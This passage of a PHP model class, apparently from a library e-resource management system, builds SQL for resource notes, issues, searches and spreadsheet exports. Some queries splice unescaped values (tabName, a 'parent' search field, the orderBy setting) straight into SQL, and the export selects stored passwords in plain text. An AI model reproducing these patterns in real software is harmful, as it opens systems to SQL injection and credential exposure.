$result = $this->db->processQuery($query, 'assoc');
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['externalLoginID'])){
foreach (array_keys($result) as $attributeName) {
$resultArray[$attributeName] = $result[$attributeName];
}
array_push($elArray, $resultArray);
}else{
foreach ($result as $row) {
$resultArray = array();
foreach (array_keys($row) as $attributeName) {
$resultArray[$attributeName] = $row[$attributeName];
}
array_push($elArray, $resultArray);
}
}
}
return $elArray;
}
//returns array of notes objects
public function getNotes($tabName = NULL){
if ($tabName){
$query = "SELECT * FROM ResourceNote RN
WHERE resourceID = '" . $this->resourceID . "'
AND UPPER(tabName) = UPPER('" . $tabName . "')
ORDER BY updateDate desc";
}else{
$query = "SELECT RN.*
FROM ResourceNote RN
LEFT JOIN NoteType NT ON NT.noteTypeID = RN.noteTypeID
WHERE resourceID = '" . $this->resourceID . "'
ORDER BY updateDate desc, NT.shortName";
}
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['resourceNoteID'])){
$object = new ResourceNote(new NamedArguments(array('primaryKey' => $result['resourceNoteID'])));
array_push($objects, $object);
}else{
foreach ($result as $row) {
$object = new ResourceNote(new NamedArguments(array('primaryKey' => $row['resourceNoteID'])));
array_push($objects, $object);
}
}
return $objects;
}
//returns array of the initial note object
public function getInitialNote(){
$noteType = new NoteType();
$query = "SELECT * FROM ResourceNote RN
WHERE resourceID = '" . $this->resourceID . "'
AND noteTypeID = " . $noteType->getInitialNoteTypeID . "
ORDER BY noteTypeID desc LIMIT 0,1";
$result = $this->db->processQuery($query, 'assoc');
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['resourceNoteID'])){
$resourceNote = new ResourceNote(new NamedArguments(array('primaryKey' => $result['resourceNoteID'])));
return $resourceNote;
} else{
$resourceNote = new ResourceNote();
return $resourceNote;
}
}
public function getIssues($archivedOnly=false){
$query = "SELECT i.*
FROM Issue i
LEFT JOIN IssueRelationship ir ON ir.issueID=i.issueID
WHERE ir.entityID={$this->resourceID} AND ir.entityTypeID=2";
if ($archivedOnly) {
$query .= " AND i.dateClosed IS NOT NULL";
} else {
$query .= " AND i.dateClosed IS NULL";
}
$query .= " ORDER BY i.dateCreated DESC";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['issueID'])){
$object = new Issue(new NamedArguments(array('primaryKey' => $result['issueID'])));
array_push($objects, $object);
}else{
foreach ($result as $row) {
$object = new Issue(new NamedArguments(array('primaryKey' => $row['issueID'])));
array_push($objects, $object);
}
}
return $objects;
}
public function getDowntime($archivedOnly=false){
$query = "SELECT d.*
FROM Downtime d
WHERE d.entityID={$this->resourceID} AND d.entityTypeID=2";
if ($archivedOnly) {
$query .= " AND d.endDate < CURDATE()";
} else {
$query .= " AND (d.endDate >= CURDATE() OR d.endDate IS NULL)";
}
$query .= " ORDER BY d.dateCreated DESC";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['downtimeID'])){
$object = new Downtime(new NamedArguments(array('primaryKey' => $result['downtimeID'])));
array_push($objects, $object);
}else{
foreach ($result as $row) {
$object = new Downtime(new NamedArguments(array('primaryKey' => $row['downtimeID'])));
array_push($objects, $object);
}
}
return $objects;
}
public function getExportableIssues($archivedOnly=false){
if ($this->db->config->settings->organizationsModule == 'Y' && $this->db->config->settings->organizationsDatabaseName) {
$contactsDB = $this->db->config->settings->organizationsDatabaseName;
} else {
$contactsDB = $this->db->config->database->name;
}
$query = "SELECT i.*,(SELECT GROUP_CONCAT(CONCAT(sc.name,' - ',sc.emailAddress) SEPARATOR ', ')
FROM IssueContact sic
LEFT JOIN `{$contactsDB}`.Contact sc ON sc.contactID=sic.contactID
WHERE sic.issueID=i.issueID) AS `contacts`,
(SELECT GROUP_CONCAT(se.titleText SEPARATOR ', ')
FROM IssueRelationship sir
LEFT JOIN Resource se ON (se.resourceID=sir.entityID AND sir.entityTypeID=2)
WHERE sir.issueID=i.issueID) AS `appliesto`,
(SELECT GROUP_CONCAT(sie.email SEPARATOR ', ')
FROM IssueEmail sie
WHERE sie.issueID=i.issueID) AS `CCs`
FROM Issue i
LEFT JOIN IssueRelationship ir ON ir.issueID=i.issueID
WHERE ir.entityID={$this->resourceID} AND ir.entityTypeID=2";
if ($archivedOnly) {
$query .= " AND i.dateClosed IS NOT NULL";
} else {
$query .= " AND i.dateClosed IS NULL";
}
$query .= " ORDER BY i.dateCreated DESC";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['issueID'])){
return array($result);
}else{
return $result;
}
}
public function getExportableDowntimes($archivedOnly=false){
$query = "SELECT d.*
FROM Downtime d
WHERE d.entityID={$this->resourceID} AND d.entityTypeID=2";
if ($archivedOnly) {
$query .= " AND d.endDate < CURDATE()";
} else {
$query .= " AND d.endDate >= CURDATE()";
}
$query .= " ORDER BY d.dateCreated DESC";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['downtimeID'])){
return array($result);
}else{
return $result;
}
}
//returns array of attachments objects
public function getAttachments(){
$query = "SELECT * FROM Attachment A, AttachmentType AT
WHERE AT.attachmentTypeID = A.attachmentTypeID
AND resourceID = '" . $this->resourceID . "'
ORDER BY AT.shortName";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['attachmentID'])){
$object = new Attachment(new NamedArguments(array('primaryKey' => $result['attachmentID'])));
array_push($objects, $object);
}else{
foreach ($result as $row) {
$object = new Attachment(new NamedArguments(array('primaryKey' => $row['attachmentID'])));
array_push($objects, $object);
}
}
return $objects;
}
//returns array of contact objects
public function getContacts(){
$query = "SELECT * FROM Contact
WHERE resourceID = '" . $this->resourceID . "'";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['contactID'])){
$object = new Contact(new NamedArguments(array('primaryKey' => $result['contactID'])));
array_push($objects, $object);
}else{
foreach ($result as $row) {
$object = new Contact(new NamedArguments(array('primaryKey' => $row['contactID'])));
array_push($objects, $object);
}
}
return $objects;
}
//returns array of externalLogin objects
public function getExternalLogins(){
$query = "SELECT * FROM ExternalLogin
WHERE resourceID = '" . $this->resourceID . "'";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['externalLoginID'])){
$object = new ExternalLogin(new NamedArguments(array('primaryKey' => $result['externalLoginID'])));
array_push($objects, $object);
}else{
foreach ($result as $row) {
$object = new ExternalLogin(new NamedArguments(array('primaryKey' => $row['externalLoginID'])));
array_push($objects, $object);
}
}
return $objects;
}
public static function setSearch($search) {
$config = new Configuration;
if ($config->settings->defaultsort) {
$orderBy = $config->settings->defaultsort;
} else {
$orderBy = "R.createDate DESC, TRIM(LEADING 'THE ' FROM UPPER(R.titleText)) asc";
}
$defaultSearchParameters = array(
"orderBy" => $orderBy,
"page" => 1,
"recordsPerPage" => 25,
);
foreach ($defaultSearchParameters as $key => $value) {
if (!$search[$key]) {
$search[$key] = $value;
}
}
foreach ($search as $key => $value) {
$search[$key] = trim($value);
}
$_SESSION['resourceSearch'] = $search;
}
public static function resetSearch() {
Resource::setSearch(array());
}
public static function getSearch() {
if (!isset($_SESSION['resourceSearch'])) {
Resource::resetSearch();
}
return $_SESSION['resourceSearch'];
}
public static function getSearchDetails() {
// A successful mysqli_connect must be run before mysqli_real_escape_string will function. Instantiating a resource model will set up the connection
$resource = new Resource();
$search = Resource::getSearch();
$whereAdd = array();
$searchDisplay = array();
$config = new Configuration();
//if name is passed in also search alias, organizations and organization aliases
if ($search['name']) {
$nameQueryString = $resource->db->escapeString(strtoupper($search['name']));
$nameQueryString = preg_replace("/ +/", "%", $nameQueryString);
$nameQueryString = "'%" . $nameQueryString . "%'";
if ($config->settings->organizationsModule == 'Y'){
$dbName = $config->settings->organizationsDatabaseName;
$whereAdd[] = "((UPPER(R.titleText) LIKE " . $nameQueryString . ") OR (UPPER(A.shortName) LIKE " . $nameQueryString . ") OR (UPPER(O.name) LIKE " . $nameQueryString . ") OR (UPPER(OA.name) LIKE " . $nameQueryString . ") OR (UPPER(RP.titleText) LIKE " . $nameQueryString . ") OR (UPPER(RC.titleText) LIKE " . $nameQueryString . ") OR (UPPER(R.recordSetIdentifier) LIKE " . $nameQueryString . "))";
}else{
$whereAdd[] = "((UPPER(R.titleText) LIKE " . $nameQueryString . ") OR (UPPER(A.shortName) LIKE " . $nameQueryString . ") OR (UPPER(O.shortName) LIKE " . $nameQueryString . ") OR (UPPER(RP.titleText) LIKE " . $nameQueryString . ") OR (UPPER(RC.titleText) LIKE " . $nameQueryString . ") OR (UPPER(R.recordSetIdentifier) LIKE " . $nameQueryString . "))";
}
$searchDisplay[] = "Name contains: " . $search['name'];
}
//get where statements together (and escape single quotes)
if ($search['resourceID']) {
$whereAdd[] = "R.resourceID = '" . $resource->db->escapeString($search['resourceID']) . "'";
$searchDisplay[] = "Resource ID: " . $search['resourceID'];
}
if ($search['resourceISBNOrISSN']) {
$resourceISBNOrISSN = $resource->db->escapeString(str_replace("-","",$search['resourceISBNOrISSN']));
$whereAdd[] = "REPLACE(I.isbnOrIssn,'-','') = '" . $resourceISBNOrISSN . "'";
$searchDisplay[] = "ISSN/ISBN: " . $search['resourceISBNOrISSN'];
}
if ($search['fund']) {
$fund = $resource->db->escapeString(str_replace("-","",$search['fund']));
$whereAdd[] = "REPLACE(RPAY.fundName,'-','') = '" . $fund . "'";
$searchDisplay[] = "Fund: " . $search['fund'];
}
if ($search['stepName']) {
$status = new Status();
$completedStatusID = $status->getIDFromName('complete');
$whereAdd[] = "(R.statusID != $completedStatusID AND RS.stepName = '" . $resource->db->escapeString($search['stepName']) . "' AND RS.stepStartDate IS NOT NULL AND RS.stepEndDate IS NULL)";
$searchDisplay[] = "Routing Step: " . $search['stepName'];
}
if ($search['parent'] != null) {
$parentadd = "(" . $search['parent'] . ".relationshipTypeID = 1";
$parentadd .= ")";
$whereAdd[] = $parentadd;
}
if ($search['statusID']) {
$whereAdd[] = "R.statusID = '" . $resource->db->escapeString($search['statusID']) . "'";
$status = new Status(new NamedArguments(array('primaryKey' => $search['statusID'])));
$searchDisplay[] = "Status: " . $status->shortName;
}
if ($search['creatorLoginID']) {
$whereAdd[] = "R.createLoginID = '" . $resource->db->escapeString($search['creatorLoginID']) . "'";
$createUser = new User(new NamedArguments(array('primaryKey' => $search['creatorLoginID'])));
if ($createUser->firstName){
$name = $createUser->lastName . ", " . $createUser->firstName;
}else{
$name = $createUser->loginID;
}
$searchDisplay[] = "Creator: " . $name;
}
if ($search['resourceFormatID']) {
$whereAdd[] = "R.resourceFormatID = '" . $resource->db->escapeString($search['resourceFormatID']) . "'";
$resourceFormat = new ResourceFormat(new NamedArguments(array('primaryKey' => $search['resourceFormatID'])));
$searchDisplay[] = "Resource Format: " . $resourceFormat->shortName;
}
if ($search['acquisitionTypeID']) {
$whereAdd[] = "R.acquisitionTypeID = '" . $resource->db->escapeString($search['acquisitionTypeID']) . "'";
$acquisitionType = new AcquisitionType(new NamedArguments(array('primaryKey' => $search['acquisitionTypeID'])));
$searchDisplay[] = "Acquisition Type: " . $acquisitionType->shortName;
}
if ($search['resourceNote']) {
$whereAdd[] = "UPPER(RN.noteText) LIKE UPPER('%" . $resource->db->escapeString($search['resourceNote']) . "%')";
$searchDisplay[] = "Note contains: " . $search['resourceNote'];
}
if ($search['createDateStart']) {
$whereAdd[] = "R.createDate >= STR_TO_DATE('" . $resource->db->escapeString($search['createDateStart']) . "','%m/%d/%Y')";
if (!$search['createDateEnd']) {
$searchDisplay[] = "Created on or after: " . $search['createDateStart'];
} else {
$searchDisplay[] = "Created between: " . $search['createDateStart'] . " and " . $search['createDateEnd'];
}
}
if ($search['createDateEnd']) {
$whereAdd[] = "R.createDate <= STR_TO_DATE('" . $resource->db->escapeString($search['createDateEnd']) . "','%m/%d/%Y')";
if (!$search['createDateStart']) {
$searchDisplay[] = "Created on or before: " . $search['createDateEnd'];
}
}
if ($search['startWith']) {
$whereAdd[] = "TRIM(LEADING 'THE ' FROM UPPER(R.titleText)) LIKE UPPER('" . $resource->db->escapeString($search['startWith']) . "%')";
$searchDisplay[] = "Starts with: " . $search['startWith'];
}
//the following are not-required fields with dropdowns and have "none" as an option
if ($search['resourceTypeID'] == 'none'){
$whereAdd[] = "((R.resourceTypeID IS NULL) OR (R.resourceTypeID = '0'))";
$searchDisplay[] = "Resource Type: none";
}else if ($search['resourceTypeID']){
$whereAdd[] = "R.resourceTypeID = '" . $resource->db->escapeString($search['resourceTypeID']) . "'";
$resourceType = new ResourceType(new NamedArguments(array('primaryKey' => $search['resourceTypeID'])));
$searchDisplay[] = "Resource Type: " . $resourceType->shortName;
}
if ($search['generalSubjectID'] == 'none'){
$whereAdd[] = "((GDLINK.generalSubjectID IS NULL) OR (GDLINK.generalSubjectID = '0'))";
$searchDisplay[] = "Resource Type: none";
}else if ($search['generalSubjectID']){
$whereAdd[] = "GDLINK.generalSubjectID = '" . $resource->db->escapeString($search['generalSubjectID']) . "'";
$generalSubject = new GeneralSubject(new NamedArguments(array('primaryKey' => $search['generalSubjectID'])));
$searchDisplay[] = "General Subject: " . $generalSubject->shortName;
}
if ($search['detailedSubjectID'] == 'none'){
$whereAdd[] = "((GDLINK.detailedSubjectID IS NULL) OR (GDLINK.detailedSubjectID = '0') OR (GDLINK.detailedSubjectID = '-1'))";
$searchDisplay[] = "Resource Type: none";
}else if ($search['detailedSubjectID']){
$whereAdd[] = "GDLINK.detailedSubjectID = '" . $resource->db->escapeString($search['detailedSubjectID']) . "'";
$detailedSubject = new DetailedSubject(new NamedArguments(array('primaryKey' => $search['detailedSubjectID'])));
$searchDisplay[] = "Detailed Subject: " . $detailedSubject->shortName;
}
if ($search['noteTypeID'] == 'none'){
$whereAdd[] = "(RN.noteTypeID IS NULL) AND (RN.noteText IS NOT NULL)";
$searchDisplay[] = "Note Type: none";
}else if ($search['noteTypeID']){
$whereAdd[] = "RN.noteTypeID = '" . $resource->db->escapeString($search['noteTypeID']) . "'";
$noteType = new NoteType(new NamedArguments(array('primaryKey' => $search['noteTypeID'])));
$searchDisplay[] = "Note Type: " . $noteType->shortName;
}
if ($search['purchaseSiteID'] == 'none'){
$whereAdd[] = "RPSL.purchaseSiteID IS NULL";
$searchDisplay[] = "Purchase Site: none";
}else if ($search['purchaseSiteID']){
$whereAdd[] = "RPSL.purchaseSiteID = '" . $resource->db->escapeString($search['purchaseSiteID']) . "'";
$purchaseSite = new PurchaseSite(new NamedArguments(array('primaryKey' => $search['purchaseSiteID'])));
$searchDisplay[] = "Purchase Site: " . $purchaseSite->shortName;
}
if ($search['authorizedSiteID'] == 'none'){
$whereAdd[] = "RAUSL.authorizedSiteID IS NULL";
$searchDisplay[] = "Authorized Site: none";
}else if ($search['authorizedSiteID']){
$whereAdd[] = "RAUSL.authorizedSiteID = '" . $resource->db->escapeString($search['authorizedSiteID']) . "'";
$authorizedSite = new AuthorizedSite(new NamedArguments(array('primaryKey' => $search['authorizedSiteID'])));
$searchDisplay[] = "Authorized Site: " . $authorizedSite->shortName;
}
if ($search['administeringSiteID'] == 'none'){
$whereAdd[] = "RADSL.administeringSiteID IS NULL";
$searchDisplay[] = "Administering Site: none";
}else if ($search['administeringSiteID']){
$whereAdd[] = "RADSL.administeringSiteID = '" . $resource->db->escapeString($search['administeringSiteID']) . "'";
$administeringSite = new AdministeringSite(new NamedArguments(array('primaryKey' => $search['administeringSiteID'])));
$searchDisplay[] = "Administering Site: " . $administeringSite->shortName;
}
if ($search['authenticationTypeID'] == 'none'){
$whereAdd[] = "R.authenticationTypeID IS NULL";
$searchDisplay[] = "Authentication Type: none";
}else if ($search['authenticationTypeID']){
$whereAdd[] = "R.authenticationTypeID = '" . $resource->db->escapeString($search['authenticationTypeID']) . "'";
$authenticationType = new AuthenticationType(new NamedArguments(array('primaryKey' => $search['authenticationTypeID'])));
$searchDisplay[] = "Authentication Type: " . $authenticationType->shortName;
}
if ($search['catalogingStatusID'] == 'none') {
$whereAdd[] = "(R.catalogingStatusID IS NULL)";
$searchDisplay[] = "Cataloging Status: none";
} else if ($search['catalogingStatusID']) {
$whereAdd[] = "R.catalogingStatusID = '" . $resource->db->escapeString($search['catalogingStatusID']) . "'";
$catalogingStatus = new CatalogingStatus(new NamedArguments(array('primaryKey' => $search['catalogingStatusID'])));
$searchDisplay[] = "Cataloging Status: " . $catalogingStatus->shortName;
}
$orderBy = $search['orderBy'];
$page = $search['page'];
$recordsPerPage = $search['recordsPerPage'];
return array("where" => $whereAdd, "page" => $page, "order" => $orderBy, "perPage" => $recordsPerPage, "display" => $searchDisplay);
}
public function searchQuery($whereAdd, $orderBy = '', $limit = '', $count = false) {
$config = new Configuration();
$status = new Status();
if ($config->settings->organizationsModule == 'Y'){
$dbName = $config->settings->organizationsDatabaseName;
$orgJoinAdd = "LEFT JOIN " . $dbName . ".Organization O ON O.organizationID = ROL.organizationID
LEFT JOIN " . $dbName . ".Alias OA ON OA.organizationID = ROL.organizationID";
}else{
$orgJoinAdd = "LEFT JOIN Organization O ON O.organizationID = ROL.organizationID";
}
$savedStatusID = intval($status->getIDFromName('saved'));
//also add to not retrieve saved records
$whereAdd[] = "R.statusID != " . $savedStatusID;
if (count($whereAdd) > 0){
$whereStatement = " WHERE " . implode(" AND ", $whereAdd);
}else{
$whereStatement = "";
}
if ($count) {
$select = "SELECT COUNT(DISTINCT R.resourceID) count";
$groupBy = "";
} else {
$select = "SELECT R.resourceID, R.titleText, AT.shortName acquisitionType, R.createLoginID, CU.firstName, CU.lastName, R.createDate, S.shortName status,
GROUP_CONCAT(DISTINCT A.shortName, I.isbnOrIssn ORDER BY A.shortName DESC SEPARATOR '<br />') aliases";
$groupBy = "GROUP BY R.resourceID";
}
$referenced_tables = array();
$table_matches = array();
// Build a list of tables that are referenced by the select and where statements in order to limit the number of joins performed in the search.
preg_match_all("/[A-Z]+(?=[.][A-Z]+)/i", $select, $table_matches);
$referenced_tables = array_unique($table_matches[0]);
preg_match_all("/[A-Z]+(?=[.][A-Z]+)/i", $whereStatement, $table_matches);
$referenced_tables = array_unique(array_merge($referenced_tables, $table_matches[0]));
// These join statements will only be included in the query if the alias is referenced by the select and/or where.
$conditional_joins = explode("\n", "LEFT JOIN ResourceFormat RF ON R.resourceFormatID = RF.resourceFormatID
LEFT JOIN ResourceType RT ON R.resourceTypeID = RT.resourceTypeID
LEFT JOIN AcquisitionType AT ON R.acquisitionTypeID = AT.acquisitionTypeID
LEFT JOIN Status S ON R.statusID = S.statusID
LEFT JOIN User CU ON R.createLoginID = CU.loginID
LEFT JOIN ResourcePurchaseSiteLink RPSL ON R.resourceID = RPSL.resourceID
LEFT JOIN ResourceAuthorizedSiteLink RAUSL ON R.resourceID = RAUSL.resourceID
LEFT JOIN ResourceAdministeringSiteLink RADSL ON R.resourceID = RADSL.resourceID
LEFT JOIN ResourcePayment RPAY ON R.resourceID = RPAY.resourceID
LEFT JOIN ResourceNote RN ON R.resourceID = RN.resourceID
LEFT JOIN ResourceStep RS ON R.resourceID = RS.resourceID
LEFT JOIN IsbnOrIssn I ON R.resourceID = I.resourceID
");
$additional_joins = array();
foreach($conditional_joins as $join) {
$match = array();
preg_match("/[A-Z]+(?= ON )/i", $join, $match);
$table_name = $match[0];
if (in_array($table_name, $referenced_tables)) {
$additional_joins[] = $join;
}
}
$query = $select . "
FROM Resource R
LEFT JOIN Alias A ON R.resourceID = A.resourceID
LEFT JOIN ResourceOrganizationLink ROL ON R.resourceID = ROL.resourceID
" . $orgJoinAdd . "
LEFT JOIN ResourceRelationship RRC ON RRC.relatedResourceID = R.resourceID
LEFT JOIN ResourceRelationship RRP ON RRP.resourceID = R.resourceID
LEFT JOIN ResourceSubject RSUB ON R.resourceID = RSUB.resourceID
LEFT JOIN Resource RC ON RC.resourceID = RRC.resourceID
LEFT JOIN Resource RP ON RP.resourceID = RRP.relatedResourceID
LEFT JOIN GeneralDetailSubjectLink GDLINK ON RSUB.generalDetailSubjectLinkID = GDLINK.generalDetailSubjectLinkID
" . implode("\n", $additional_joins) . "
" . $whereStatement . "
" . $groupBy;
if ($orderBy) {
$query .= "\nORDER BY " . $orderBy;
}
if ($limit) {
$query .= "\nLIMIT " . $limit;
}
return $query;
}
//returns array based on search
public function search($whereAdd, $orderBy, $limit){
$query = $this->searchQuery($whereAdd, $orderBy, $limit, false);
$result = $this->db->processQuery($query, 'assoc');
$searchArray = array();
$resultArray = array();
//need to do this since it could be that there's only one result and this is how the dbservice returns result
if (isset($result['resourceID'])){
foreach (array_keys($result) as $attributeName) {
$resultArray[$attributeName] = $result[$attributeName];
}
array_push($searchArray, $resultArray);
}else{
foreach ($result as $row) {
$resultArray = array();
foreach (array_keys($row) as $attributeName) {
$resultArray[$attributeName] = $row[$attributeName];
}
array_push($searchArray, $resultArray);
}
}
return $searchArray;
}
public function searchCount($whereAdd) {
$query = $this->searchQuery($whereAdd, '', '', true);
$result = $this->db->processQuery($query, 'assoc');
//echo $query;
return $result['count'];
}
//used for A-Z on search (index)
public function getAlphabeticalList(){
$alphArray = array();
$result = $this->db->query("SELECT DISTINCT UPPER(SUBSTR(TRIM(LEADING 'The ' FROM titleText),1,1)) letter, COUNT(SUBSTR(TRIM(LEADING 'The ' FROM titleText),1,1)) letter_count
FROM Resource R
GROUP BY SUBSTR(TRIM(LEADING 'The ' FROM titleText),1,1)
ORDER BY 1;");
while ($row = $result->fetch_assoc()){
$alphArray[$row['letter']] = $row['letter_count'];
}
return $alphArray;
}
//returns array based on search for excel output (export.php)
public function export($whereAdd, $orderBy){
$config = new Configuration();
if ($config->settings->organizationsModule == 'Y'){
$dbName = $config->settings->organizationsDatabaseName;
$orgJoinAdd = "LEFT JOIN " . $dbName . ".Organization O ON O.organizationID = ROL.organizationID
LEFT JOIN " . $dbName . ".Alias OA ON OA.organizationID = ROL.organizationID";
$orgSelectAdd = "GROUP_CONCAT(DISTINCT O.name ORDER BY O.name DESC SEPARATOR '; ') organizationNames";
}else{
$orgJoinAdd = "LEFT JOIN Organization O ON O.organizationID = ROL.organizationID";
$orgSelectAdd = "GROUP_CONCAT(DISTINCT O.shortName ORDER BY O.shortName DESC SEPARATOR '; ') organizationNames";
}
$licSelectAdd = '';
$licJoinAdd = '';
if ($config->settings->licensingModule == 'Y'){
$dbName = $config->settings->licensingDatabaseName;
$licJoinAdd = " LEFT JOIN ResourceLicenseLink RLL ON RLL.resourceID = R.resourceID
LEFT JOIN " . $dbName . ".License L ON RLL.licenseID = L.licenseID
LEFT JOIN ResourceLicenseStatus RLS ON RLS.resourceID = R.resourceID
LEFT JOIN LicenseStatus LS ON LS.licenseStatusID = RLS.licenseStatusID";
$licSelectAdd = "GROUP_CONCAT(DISTINCT L.shortName ORDER BY L.shortName DESC SEPARATOR '; ') licenseNames,
GROUP_CONCAT(DISTINCT LS.shortName, ': ', DATE_FORMAT(RLS.licenseStatusChangeDate, '%m/%d/%Y') ORDER BY RLS.licenseStatusChangeDate DESC SEPARATOR '; ') licenseStatuses, ";
}
$status = new Status();
//also add to not retrieve saved records
$savedStatusID = intval($status->getIDFromName('saved'));
$whereAdd[] = "R.statusID != " . $savedStatusID;
if (count($whereAdd) > 0){
$whereStatement = " WHERE " . implode(" AND ", $whereAdd);
}else{
$whereStatement = "";
}
//now actually execute query
$query = "SELECT R.resourceID, R.titleText, AT.shortName acquisitionType, CONCAT_WS(' ', CU.firstName, CU.lastName) createName,
R.createDate createDate, CONCAT_WS(' ', UU.firstName, UU.lastName) updateName,
R.updateDate updateDate, S.shortName status,
RT.shortName resourceType, RF.shortName resourceFormat, R.orderNumber, R.systemNumber, R.resourceURL, R.resourceAltURL,
R.currentStartDate, R.currentEndDate, R.subscriptionAlertEnabledInd, AUT.shortName authenticationType,
AM.shortName accessMethod, SL.shortName storageLocation, UL.shortName userLimit, R.authenticationUserName,
R.authenticationPassword, R.coverageText, CT.shortName catalogingType, CS.shortName catalogingStatus, R.recordSetIdentifier, R.bibSourceURL,
R.numberRecordsAvailable, R.numberRecordsLoaded, R.hasOclcHoldings, I.isbnOrIssn,
" . $orgSelectAdd . ",
" . $licSelectAdd . "
GROUP_CONCAT(DISTINCT A.shortName ORDER BY A.shortName DESC SEPARATOR '; ') aliases,
GROUP_CONCAT(DISTINCT PS.shortName ORDER BY PS.shortName DESC SEPARATOR '; ') purchasingSites,
GROUP_CONCAT(DISTINCT AUS.shortName ORDER BY AUS.shortName DESC SEPARATOR '; ') authorizedSites,
GROUP_CONCAT(DISTINCT ADS.shortName ORDER BY ADS.shortName DESC SEPARATOR '; ') administeringSites,
GROUP_CONCAT(DISTINCT RP.titleText ORDER BY RP.titleText DESC SEPARATOR '; ') parentResources,
GROUP_CONCAT(DISTINCT RC.titleText ORDER BY RC.titleText DESC SEPARATOR '; ') childResources,
GROUP_CONCAT(DISTINCT RPAY.fundName, ': ', ROUND(COALESCE(RPAY.paymentAmount, 0) / 100, 2), ' ', RPAY.currencyCode, ' ', OT.shortName ORDER BY RPAY.paymentAmount ASC SEPARATOR '; ') payments
FROM Resource R
LEFT JOIN Alias A ON R.resourceID = A.resourceID
LEFT JOIN ResourceOrganizationLink ROL ON R.resourceID = ROL.resourceID
" . $orgJoinAdd . "
LEFT JOIN ResourceRelationship RRC ON RRC.relatedResourceID = R.resourceID
LEFT JOIN ResourceRelationship RRP ON RRP.resourceID = R.resourceID
LEFT JOIN Resource RC ON RC.resourceID = RRC.resourceID
LEFT JOIN ResourceSubject RSUB ON R.resourceID = RSUB.resourceID
LEFT JOIN Resource RP ON RP.resourceID = RRP.relatedResourceID
LEFT JOIN GeneralDetailSubjectLink GDLINK ON RSUB.generalDetailSubjectLinkID = GDLINK.generalDetailSubjectLinkID
LEFT JOIN ResourceFormat RF ON R.resourceFormatID = RF.resourceFormatID
LEFT JOIN ResourceType RT ON R.resourceTypeID = RT.resourceTypeID
LEFT JOIN AcquisitionType AT ON R.acquisitionTypeID = AT.acquisitionTypeID
LEFT JOIN ResourceStep RS ON R.resourceID = RS.resourceID
LEFT JOIN ResourcePayment RPAY ON R.resourceID = RPAY.resourceID
LEFT JOIN OrderType OT ON RPAY.orderTypeID = OT.orderTypeID
LEFT JOIN Status S ON R.statusID = S.statusID
LEFT JOIN ResourceNote RN ON R.resourceID = RN.resourceID
LEFT JOIN NoteType NT ON RN.noteTypeID = NT.noteTypeID
LEFT JOIN User CU ON R.createLoginID = CU.loginID
LEFT JOIN User UU ON R.updateLoginID = UU.loginID
LEFT JOIN CatalogingStatus CS ON R.catalogingStatusID = CS.catalogingStatusID
LEFT JOIN CatalogingType CT ON R.catalogingTypeID = CT.catalogingTypeID
LEFT JOIN ResourcePurchaseSiteLink RPSL ON R.resourceID = RPSL.resourceID
LEFT JOIN PurchaseSite PS ON RPSL.purchaseSiteID = PS.purchaseSiteID
LEFT JOIN ResourceAuthorizedSiteLink RAUSL ON R.resourceID = RAUSL.resourceID
LEFT JOIN AuthorizedSite AUS ON RAUSL.authorizedSiteID = AUS.authorizedSiteID
LEFT JOIN ResourceAdministeringSiteLink RADSL ON R.resourceID = RADSL.resourceID
LEFT JOIN AdministeringSite ADS ON RADSL.administeringSiteID = ADS.administeringSiteID
LEFT JOIN AuthenticationType AUT ON AUT.authenticationTypeID = R.authenticationTypeID
LEFT JOIN AccessMethod AM ON AM.accessMethodID = R.accessMethodID
LEFT JOIN StorageLocation SL ON SL.storageLocationID = R.storageLocationID
LEFT JOIN UserLimit UL ON UL.userLimitID = R.userLimitID
LEFT JOIN IsbnOrIssn I ON I.resourceID = R.resourceID
" . $licJoinAdd . "
" . $whereStatement . "
GROUP BY R.resourceID
ORDER BY " . $orderBy;
$result = $this->db->processQuery(stripslashes($query), 'assoc');
$searchArray = array();
$resultArray = array();
//need to do this since it could be that there's only one result and this is how the dbservice returns result
if (isset($result['resourceID'])){
foreach (array_keys($result) as $attributeName) {
$resultArray[$attributeName] = $result[$attributeName];
}
array_push($searchArray, $resultArray);
}else{
foreach ($result as $row) {
$resultArray = array();
foreach (array_keys($row) as $attributeName) {
$resultArray[$attributeName] = $row[$attributeName];
}
array_push($searchArray, $resultArray);
}
}
return $searchArray;
}
//search used index page drop down
public function getOrganizationList(){
$config = new Configuration;
$orgArray = array();
//if the org module is installed get the org names from org database
if ($config->settings->organizationsModule == 'Y'){
$dbName = $config->settings->organizationsDatabaseName;
$query = "SELECT name, organizationID FROM " . $dbName . ".Organization ORDER BY 1;";
//otherwise get the orgs from this database
}else{
$query = "SELECT shortName name, organizationID FROM Organization ORDER BY 1;";
}
$result = $this->db->processQuery($query, 'assoc');
$resultArray = array();
//need to do this since it could be that there's only one result and this is how the dbservice returns result
if (isset($result['organizationID'])){
foreach (array_keys($result) as $attributeName) {
$resultArray[$attributeName] = $result[$attributeName];
}
array_push($orgArray, $resultArray);
}else{
foreach ($result as $row) {
$resultArray = array();
foreach (array_keys($row) as $attributeName) {
$resultArray[$attributeName] = $row[$attributeName];
}
array_push($orgArray, $resultArray);
}
}
return $orgArray;
}
//gets an array of organizations set up for this resource (organizationID, organization, organizationRole)
public function getOrganizationArray(){
$config = new Configuration;
//if the org module is installed get the org name from org database
if ($config->settings->organizationsModule == 'Y'){
$dbName = $config->settings->organizationsDatabaseName;
$resourceOrgArray = array();
$query = "SELECT * FROM ResourceOrganizationLink WHERE resourceID = '" . $this->resourceID . "'";
